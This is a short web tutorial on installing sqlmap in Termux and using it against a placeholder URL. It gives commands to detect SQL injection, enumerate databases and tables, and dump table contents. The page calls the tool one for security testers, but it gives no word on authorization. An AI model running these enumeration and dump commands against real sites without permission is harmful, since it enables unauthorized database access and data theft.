Sqlmap in Termux – Installation & Usage Commands

Sqlmap is a powerful tool used to test websites for SQL injection vulnerabilities. It helps you find security issues in login forms, URLs, and databases. This tool is mainly used by ethical hackers and security testers to check website safety.

Installation Commands

Update and upgrade all Termux packages:

Install Git and Python:

pkg install git python

Clone Sqlmap from GitHub:

git clone https://github.com/sqlmapproject/sqlmap.git

Go to Sqlmap folder:

cd sqlmap

Usage Commands

Check Sqlmap help menu:

python sqlmap.py -h

Test a website URL for SQL injection:

python sqlmap.py -u "http://example.com/page.php?id=1"

List available databases:

python sqlmap.py -u "http://example.com/page.php?id=1" --dbs

List tables of a database:

python sqlmap.py -u "http://example.com/page.php?id=1" -D database_name --tables

Dump data from a table:

python sqlmap.py -u "http://example.com/page.php?id=1" -D database_name -T table_name --dump

READ ALSO  Improve your skills: Termux Commands list for beginner

Leave a Comment